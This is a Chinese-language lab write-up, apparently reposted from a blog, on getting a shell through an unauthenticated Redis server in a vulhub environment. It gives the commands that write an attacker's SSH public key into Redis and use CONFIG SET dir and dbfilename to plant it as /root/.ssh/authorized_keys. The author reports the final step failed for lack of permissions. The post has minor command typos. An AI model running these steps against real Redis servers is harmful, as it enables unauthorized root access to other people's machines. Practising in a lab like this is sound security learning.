redis未授权访问getshell


1.搭建环境,这里使用的是vulhub现有环境

第一步:端口扫描,因为redis默认情况下会绑定在0.0.0.0:6379,如果没有采取相关的安全措施,redis服务暴露在公网会导致未授权访问和其他更糟糕情况的发生

已知靶机ip地址为192.168.3.250

 

 

 2.用本地已经搭建好的环境去访问

命令 ./redis-cli -h 目标ip

 

 

 3.发现存在未授权访问,接下来尝试看能不能getshell呢?

通过学习大佬写的东西,发现getshell有如下方式

方式一:

首先在自己的kali中生成key

命令:ssh-keygen -t rsa

命令解释:为了使的linux两台机器互相ssh不需要账密 ,加密方式可以选择rsa或者dsa

具体可参考这大佬的阐述 大佬文章地址:https://blog.csdn.net/wh_19910525/article/details/7433164

接下来开始实践操作

 

 

 4.查看本地保存公私钥,并导入文件

命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

命令解释:/n换行

 

 5.将自己的key输入到目标靶机

命令:cat 1.txt | ./redis-cli -h 目标靶机IP -x set xxxxxxx

 

 6.连接目标redis并查看备份文件路径信息

查看备份文件路径信息命令:GETFIG GET dir

 

 7.讲redis备份文件名改为/root/.ssh,因为一般默认会将key存放在此目录下,同事修改刚刚上传的1.txt文件名为anthorized_keys

命令:config set dir /root/.ssh

命令:CONFIG SET dbfilename authorized_keys

很不幸权限不够,如果是root权限,直接修改后 ssh -i id_rsa root@目标ip即可ssh连接靶机

 

 8那就想办法吧,今天先到这里

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM